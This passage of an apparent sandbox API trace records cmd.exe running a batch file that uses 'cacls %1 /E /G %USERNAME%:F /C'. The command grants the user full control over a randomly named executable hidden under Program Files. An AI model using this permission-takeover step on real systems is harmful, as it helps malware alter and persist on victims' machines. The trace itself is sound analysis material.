(HeapHandle=0x610000, Flags=0x8, Size=0x72) returned 0x632b58 [0104.167] GetProcessHeap () returned 0x610000 [0104.167] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x92) returned 0x623200 [0104.168] GetConsoleTitleW (in: lpConsoleTitle=0x20f9b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0104.168] GetFileAttributesW (lpFileName="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\\"c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat\"")) returned 0xffffffff [0104.169] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0104.169] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0104.169] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0104.169] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0104.169] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0104.169] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0104.169] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0104.169] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0104.169] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0104.169] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0104.169] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0104.169] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0104.169] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0104.169] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0104.169] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0104.169] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0104.169] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0104.169] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0104.169] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0104.169] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0104.169] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0104.169] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0104.169] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0104.169] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0104.169] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0104.169] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0104.169] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0104.169] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0104.169] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0104.169] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0104.170] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0104.170] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0104.170] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0104.170] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0104.170] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0104.170] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0104.170] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0104.170] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0104.170] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0104.170] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0104.170] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0104.170] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0104.170] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0104.170] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0104.170] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0104.170] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0104.170] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0104.170] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0104.170] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0104.170] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0104.170] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0104.170] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0104.170] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0104.170] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0104.170] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0104.170] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0104.170] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0104.170] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0104.170] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0104.170] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0104.170] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0104.170] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0104.170] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0104.170] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0104.171] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0104.171] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0104.171] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0104.171] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0104.171] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0104.171] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0104.171] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0104.171] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0104.171] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0104.171] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0104.171] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0104.171] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0104.171] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0104.171] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0104.171] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0104.171] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0104.171] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0104.171] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0104.171] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0104.171] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0104.171] _wcsicmp (_String1="\"C", _String2="FOR") returned -68 [0104.171] _wcsicmp (_String1="\"C", _String2="IF") returned -71 [0104.171] _wcsicmp (_String1="\"C", _String2="REM") returned -80 [0104.171] GetProcessHeap () returned 0x610000 [0104.171] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x210) returned 0x6232a0 [0104.171] GetProcessHeap () returned 0x610000 [0104.171] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xfc) returned 0x6234b8 [0104.172] _wcsnicmp (_String1="C:\\U", _String2="cmd ", _MaxCount=0x4) returned -51 [0104.173] GetProcessHeap () returned 0x610000 [0104.173] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x418) returned 0x6107f0 [0104.173] SetErrorMode (uMode=0x0) returned 0x0 [0104.173] SetErrorMode (uMode=0x1) returned 0x0 [0104.173] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.", nBufferLength=0x208, lpBuffer=0x6107f8, lpFilePart=0x20f4d0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x20f4d0*="Desktop") returned 0x25 [0104.173] SetErrorMode (uMode=0x0) returned 0x1 [0104.173] GetProcessHeap () returned 0x610000 [0104.173] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6107f0, Size=0x6e) returned 0x6107f0 [0104.173] GetProcessHeap () returned 0x610000 [0104.173] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x6107f0) returned 0x6e [0104.173] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.") returned 1 [0104.173] GetProcessHeap () returned 0x610000 [0104.173] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x5a) returned 0x6235c0 [0104.173] GetProcessHeap () returned 0x610000 [0104.173] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xa8) returned 0x610868 [0104.173] GetProcessHeap () returned 0x610000 [0104.173] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x610868, Size=0x5a) returned 0x610868 [0104.173] GetProcessHeap () returned 0x610000 [0104.173] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x610868) returned 0x5a [0104.173] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0104.173] GetProcessHeap () returned 0x610000 [0104.173] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xe0) returned 0x6108d0 [0104.176] GetProcessHeap () returned 0x610000 [0104.176] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6108d0, Size=0x76) returned 0x6108d0 [0104.176] GetProcessHeap () returned 0x610000 [0104.176] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x6108d0) returned 0x76 [0104.176] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0104.177] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", fInfoLevelId=0x1, lpFindFileData=0x20f26c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f26c) returned 0x623628 [0104.177] GetProcessHeap () returned 0x610000 [0104.177] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x14) returned 0x621828 [0104.177] FindClose (in: hFindFile=0x623628 | out: hFindFile=0x623628) returned 1 [0104.177] _wcsicmp (_String1=".bat", _String2=".CMD") returned -1 [0104.177] _wcsicmp (_String1=".bat", _String2=".BAT") returned 0 [0104.177] GetConsoleTitleW (in: lpConsoleTitle=0x20f744, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0104.177] GetProcessHeap () returned 0x610000 [0104.177] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x11c) returned 0x610950 [0104.177] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x754b0000 [0104.177] GetProcAddress (hModule=0x754b0000, lpProcName="SaferIdentifyLevel") returned 0x754d2102 [0104.178] IdentifyCodeAuthzLevelW () returned 0x1 [0104.184] GetProcAddress (hModule=0x754b0000, lpProcName="SaferComputeTokenFromLevel") returned 0x754d3352 [0104.184] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1 [0104.184] GetProcAddress (hModule=0x754b0000, lpProcName="SaferCloseLevel") returned 0x754d3825 [0104.184] CloseCodeAuthzLevel () returned 0x1 [0104.184] SetErrorMode (uMode=0x0) returned 0x0 [0104.184] SetErrorMode (uMode=0x1) returned 0x0 [0104.184] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", nBufferLength=0x104, lpBuffer=0x6232a8, lpFilePart=0x20f630 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFilePart=0x20f630*="Bt3xnwko.bat") returned 0x32 [0104.184] SetErrorMode (uMode=0x0) returned 0x1 [0104.184] GetProcessHeap () returned 0x610000 [0104.184] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x72) returned 0x632bd8 [0104.184] wcsspn (_String=" \"C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\"", _Control=" \x09") returned 0x1 [0104.184] GetProcessHeap () returned 0x610000 [0104.184] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x90) returned 0x6111a8 [0104.184] GetProcessHeap () returned 0x610000 [0104.184] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x118) returned 0x634b40 [0104.184] GetProcessHeap () returned 0x610000 [0104.184] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x634b40, Size=0x92) returned 0x634b40 [0104.185] GetProcessHeap () returned 0x610000 [0104.185] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x634b40) returned 0x92 [0104.185] CmdBatNotification () returned 0x62330a [0104.185] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x20f674, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0104.185] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0104.185] _get_osfhandle (_FileHandle=3) returned 0x78 [0104.185] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0104.185] _get_osfhandle (_FileHandle=3) returned 0x78 [0104.185] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0104.185] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x20f658, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x20f658*=0xe2, lpOverlapped=0x0) returned 1 [0104.187] SetFilePointer (in: hFile=0x78, lDistanceToMove=32, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0104.187] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=32, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="cacls %1 /E /G %USERNAME%:F /C\r\n") returned 32 [0104.187] _get_osfhandle (_FileHandle=3) returned 0x78 [0104.187] GetFileType (hFile=0x78) returned 0x1 [0104.187] _get_osfhandle (_FileHandle=3) returned 0x78 [0104.187] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0104.187] GetProcessHeap () returned 0x610000 [0104.188] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x400a) returned 0x626b08 [0104.188] GetProcessHeap () returned 0x610000 [0104.188] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x4008) returned 0x634be0 [0104.188] GetProcessHeap () returned 0x610000 [0104.188] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x1a) returned 0x625858 [0104.188] GetEnvironmentVariableW (in: lpName="USERNAME", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="5p5NrGJn0jS HALPmcxz") returned 0x14 [0104.188] GetProcessHeap () returned 0x610000 [0104.188] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x625858 | out: hHeap=0x610000) returned 1 [0104.188] GetProcessHeap () returned 0x610000 [0104.188] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x634be0 | out: hHeap=0x610000) returned 1 [0104.188] GetProcessHeap () returned 0x610000 [0104.188] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x626b08 | out: hHeap=0x610000) returned 1 [0104.189] _wcsicmp (_String1="cacls", _String2=")") returned 58 [0104.189] _wcsicmp (_String1="FOR", _String2="cacls") returned 3 [0104.189] _wcsicmp (_String1="FOR/?", _String2="cacls") returned 3 [0104.189] _wcsicmp (_String1="IF", _String2="cacls") returned 6 [0104.189] _wcsicmp (_String1="IF/?", _String2="cacls") returned 6 [0104.189] _wcsicmp (_String1="REM", _String2="cacls") returned 15 [0104.189] _wcsicmp (_String1="REM/?", _String2="cacls") returned 15 [0104.189] GetProcessHeap () returned 0x610000 [0104.189] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x58) returned 0x611240 [0104.189] GetProcessHeap () returned 0x610000 [0104.189] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x14) returned 0x6112a0 [0104.191] GetProcessHeap () returned 0x610000 [0104.191] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xd2) returned 0x6241a8 [0104.191] _tell (_FileHandle=3) returned 32 [0104.191] _close (_FileHandle=3) returned 0 [0104.191] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x20f42c | out: _Buffer="\r\n") returned 2 [0104.192] _get_osfhandle (_FileHandle=1) returned 0x7 [0104.192] GetFileType (hFile=0x7) returned 0x2 [0104.192] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0104.192] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f3ec | out: lpMode=0x20f3ec) returned 1 [0104.192] _get_osfhandle (_FileHandle=1) returned 0x7 [0104.192] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x20f418, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x20f418*=0x2) returned 1 [0104.193] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0104.193] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0104.193] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x20f428 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0104.193] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x20f428 | out: _Buffer=">") returned 1 [0104.193] _get_osfhandle (_FileHandle=1) returned 0x7 [0104.194] GetFileType (hFile=0x7) returned 0x2 [0104.194] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0104.194] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f3f0 | out: lpMode=0x20f3f0) returned 1 [0104.194] _get_osfhandle (_FileHandle=1) returned 0x7 [0104.194] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x20f41c, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x20f41c*=0x26) returned 1 [0104.195] _get_osfhandle (_FileHandle=1) returned 0x7 [0104.195] GetFileType (hFile=0x7) returned 0x2 [0104.195] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0104.195] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f674 | out: lpMode=0x20f674) returned 1 [0104.195] _get_osfhandle (_FileHandle=1) returned 0x7 [0104.195] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x6112a8*, nNumberOfCharsToWrite=0x5, lpNumberOfCharsWritten=0x20f6a0, lpReserved=0x0 | out: lpBuffer=0x6112a8*, lpNumberOfCharsWritten=0x20f6a0*=0x5) returned 1 [0104.196] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x20f6ac | out: _Buffer=" \"C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\" /E /G 5p5NrGJn0jS HALPmcxz:F /C ") returned 101 [0104.196] _get_osfhandle (_FileHandle=1) returned 0x7 [0104.196] GetFileType (hFile=0x7) returned 0x2 [0104.196] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0104.196] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f66c | out: lpMode=0x20f66c) returned 1 [0104.196] _get_osfhandle (_FileHandle=1) returned 0x7 [0104.196] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x65, lpNumberOfCharsWritten=0x20f698, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x20f698*=0x65) returned 1 [0104.198] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x20f6cc | out: _Buffer="\r\n") returned 2 [0104.198] _get_osfhandle (_FileHandle=1) returned 0x7 [0104.198] GetFileType (hFile=0x7) returned 0x2 [0104.198] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0104.198] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f68c | out: lpMode=0x20f68c) returned 1 [0104.198] _get_osfhandle (_FileHandle=1) returned 0x7 [0104.198] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x20f6b8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x20f6b8*=0x2) returned 1 [0104.199] _wcsicmp (_String1="cacls", _String2="DIR") returned -1 [0104.199] _wcsicmp (_String1="cacls", _String2="ERASE") returned -2 [0104.199] _wcsicmp (_String1="cacls", _String2="DEL") returned -1 [0104.199] _wcsicmp (_String1="cacls", _String2="TYPE") returned -17 [0104.199] _wcsicmp (_String1="cacls", _String2="COPY") returned -14 [0104.199] _wcsicmp (_String1="cacls", _String2="CD") returned -3 [0104.199] _wcsicmp (_String1="cacls", _String2="CHDIR") returned -7 [0104.199] _wcsicmp (_String1="cacls", _String2="RENAME") returned -15 [0104.199] _wcsicmp (_String1="cacls", _String2="REN") returned -15 [0104.199] _wcsicmp (_String1="cacls", _String2="ECHO") returned -2 [0104.199] _wcsicmp (_String1="cacls", _String2="SET") returned -16 [0104.199] _wcsicmp (_String1="cacls", _String2="PAUSE") returned -13 [0104.199] _wcsicmp (_String1="cacls", _String2="DATE") returned -1 [0104.199] _wcsicmp (_String1="cacls", _String2="TIME") returned -17 [0104.199] _wcsicmp (_String1="cacls", _String2="PROMPT") returned -13 [0104.199] _wcsicmp (_String1="cacls", _String2="MD") returned -10 [0104.199] _wcsicmp (_String1="cacls", _String2="MKDIR") returned -10 [0104.199] _wcsicmp (_String1="cacls", _String2="RD") returned -15 [0104.199] _wcsicmp (_String1="cacls", _String2="RMDIR") returned -15 [0104.199] _wcsicmp (_String1="cacls", _String2="PATH") returned -13 [0104.199] _wcsicmp (_String1="cacls", _String2="GOTO") returned -4 [0104.199] _wcsicmp (_String1="cacls", _String2="SHIFT") returned -16 [0104.199] _wcsicmp (_String1="cacls", _String2="CLS") returned -11 [0104.199] _wcsicmp (_String1="cacls", _String2="CALL") returned -9 [0104.199] _wcsicmp (_String1="cacls", _String2="VERIFY") returned -19 [0104.199] _wcsicmp (_String1="cacls", _String2="VER") returned -19 [0104.199] _wcsicmp (_String1="cacls", _String2="VOL") returned -19 [0104.199] _wcsicmp (_String1="cacls", _String2="EXIT") returned -2 [0104.199] _wcsicmp (_String1="cacls", _String2="SETLOCAL") returned -16 [0104.199] _wcsicmp (_String1="cacls", _String2="ENDLOCAL") returned -2 [0104.199] _wcsicmp (_String1="cacls", _String2="TITLE") returned -17 [0104.199] _wcsicmp (_String1="cacls", _String2="START") returned -16 [0104.200] _wcsicmp (_String1="cacls", _String2="DPATH") returned -1 [0104.200] _wcsicmp (_String1="cacls", _String2="KEYS") returned -8 [0104.200] _wcsicmp (_String1="cacls", _String2="MOVE") returned -10 [0104.200] _wcsicmp (_String1="cacls", _String2="PUSHD") returned -13 [0104.200] _wcsicmp (_String1="cacls", _String2="POPD") returned -13 [0104.200] _wcsicmp (_String1="cacls", _String2="ASSOC") returned 2 [0104.200] _wcsicmp (_String1="cacls", _String2="FTYPE") returned -3 [0104.200] _wcsicmp (_String1="cacls", _String2="BREAK") returned 1 [0104.200] _wcsicmp (_String1="cacls", _String2="COLOR") returned -14 [0104.200] _wcsicmp (_String1="cacls", _String2="MKLINK") returned -10 [0104.200] _wcsnicmp (_String1="cacl", _String2="cmd ", _MaxCount=0x4) returned -12 [0104.200] GetProcessHeap () returned 0x610000 [0104.200] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x418) returned 0x624288 [0104.200] SetErrorMode (uMode=0x0) returned 0x0 [0104.200] SetErrorMode (uMode=0x1) returned 0x0 [0104.200] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x624290, lpFilePart=0x20f470 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x20f470*="Desktop") returned 0x25 [0104.200] SetErrorMode (uMode=0x0) returned 0x1 [0104.200] GetProcessHeap () returned 0x610000 [0104.200] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x624288, Size=0x60) returned 0x624288 [0104.200] GetProcessHeap () returned 0x610000 [0104.200] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x624288) returned 0x60 [0104.200] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0104.200] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0104.200] GetProcessHeap () returned 0x610000 [0104.200] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x120) returned 0x6242f0 [0104.201] GetProcessHeap () returned 0x610000 [0104.201] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x238) returned 0x624418 [0104.202] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x624418, Size=0x122) returned 0x624418 [0104.202] GetProcessHeap () returned 0x610000 [0104.202] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x624418) returned 0x122 [0104.202] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0104.202] GetProcessHeap () returned 0x610000 [0104.202] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xe0) returned 0x624548 [0104.202] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x624548, Size=0x76) returned 0x624548 [0104.203] GetProcessHeap () returned 0x610000 [0104.203] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x624548) returned 0x76 [0104.203] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0104.203] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x20f1ec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f1ec) returned 0xffffffff [0104.203] GetLastError () returned 0x2 [0104.203] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls", fInfoLevelId=0x1, lpFindFileData=0x20f1ec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f1ec) returned 0xffffffff [0104.203] GetLastError () returned 0x2 [0104.203] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0104.203] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x20f1ec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f1ec) returned 0x6245c8 [0104.203] GetProcessHeap () returned 0x610000 [0104.203] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x621828, Size=0x4) returned 0x621828 [0104.203] FindClose (in: hFindFile=0x6245c8 | out: hFindFile=0x6245c8) returned 1 [0104.204] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.COM", fInfoLevelId=0x1, lpFindFileData=0x20f1ec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f1ec) returned 0xffffffff [0104.204] GetLastError () returned 0x2 [0104.204] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.EXE", fInfoLevelId=0x1, lpFindFileData=0x20f1ec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f1ec) returned 0x6245c8 [0104.204] FindClose (in: hFindFile=0x6245c8 | out: hFindFile=0x6245c8) returned 1 [0104.204] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0104.204] _wcsicmp (_String1=".EXE", 